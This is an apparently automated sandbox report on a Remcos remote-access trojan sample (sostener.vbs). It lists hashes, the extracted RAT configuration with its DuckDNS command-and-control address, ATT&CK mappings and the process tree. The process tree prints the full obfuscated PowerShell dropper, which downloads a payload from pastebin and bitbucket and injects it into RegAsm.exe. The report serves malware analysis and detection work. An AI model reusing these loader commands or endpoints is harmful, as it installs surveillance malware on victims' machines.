remcos | f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95

Analysis

max time kernel
300s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240910-en
resource tags

arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 06:57

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General

Target

sostener.vbs
Size

4.0MB
MD5

b9b5d25eb96b7de9629b3344aaca4d71
SHA1

e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834
SHA256

f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95
SHA512

69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3
SSDEEP

96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

remcos2024fin.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JKUC8S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	768	powershell.exe
5	768	powershell.exe
7	768	powershell.exe
23	768	powershell.exe
31	768	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4672	powershell.exe
768	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
3	pastebin.com
5	pastebin.com
6	bitbucket.org
7	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 768 set thread context of 3524	768	powershell.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4672	powershell.exe
4672	powershell.exe
768	powershell.exe
768	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3524	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 4672	800	WScript.exe	84
PID 800 wrote to memory of 4672	800	WScript.exe	84
PID 4672 wrote to memory of 768	4672	powershell.exe	86
PID 4672 wrote to memory of 768	4672	powershell.exe	86
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91
PID 768 wrote to memory of 3524	768	powershell.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
dfe23d7df1a7debc1e86ba3ad8caada9

SHA1
4629c73fe952b4cf77a26dbe839428633245f3c5

SHA256
326ed866ce086dba76aad0e94ef7b16d71a26bffcd00ef0172e97c6467da2cba

SHA512
a318ff23e1a62274e0443e4439df02eb6d455706ee0cc4e909b56162c1954114340e935c7dbf9aee7bf13f9c0aa848639b9d0c3ad7b01a12520d2de285334d87

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1xjh4eh5.5r3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/768-25-0x00000244A84B0000-0x00000244A84BA000-memory.dmp

Filesize
40KB

Download
memory/768-22-0x00000244A84A0000-0x00000244A84AA000-memory.dmp

Filesize
40KB

Download
memory/3524-52-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-26-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-117-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-110-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-58-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4672-24-0x00007FF9DC840000-0x00007FF9DD301000-memory.dmp

Filesize
10.8MB

Download
memory/4672-0-0x00007FF9DC843000-0x00007FF9DC845000-memory.dmp

Filesize
8KB

Download
memory/4672-10-0x000001C89D9D0000-0x000001C89D9F2000-memory.dmp

Filesize
136KB

Download
memory/4672-32-0x00007FF9DC840000-0x00007FF9DD301000-memory.dmp

Filesize
10.8MB

Download
memory/4672-11-0x00007FF9DC840000-0x00007FF9DD301000-memory.dmp

Filesize
10.8MB

Download
memory/4672-12-0x00007FF9DC840000-0x00007FF9DD301000-memory.dmp

Filesize
10.8MB

Download
memory/4672-23-0x00007FF9DC843000-0x00007FF9DC845000-memory.dmp

Filesize
8KB

Download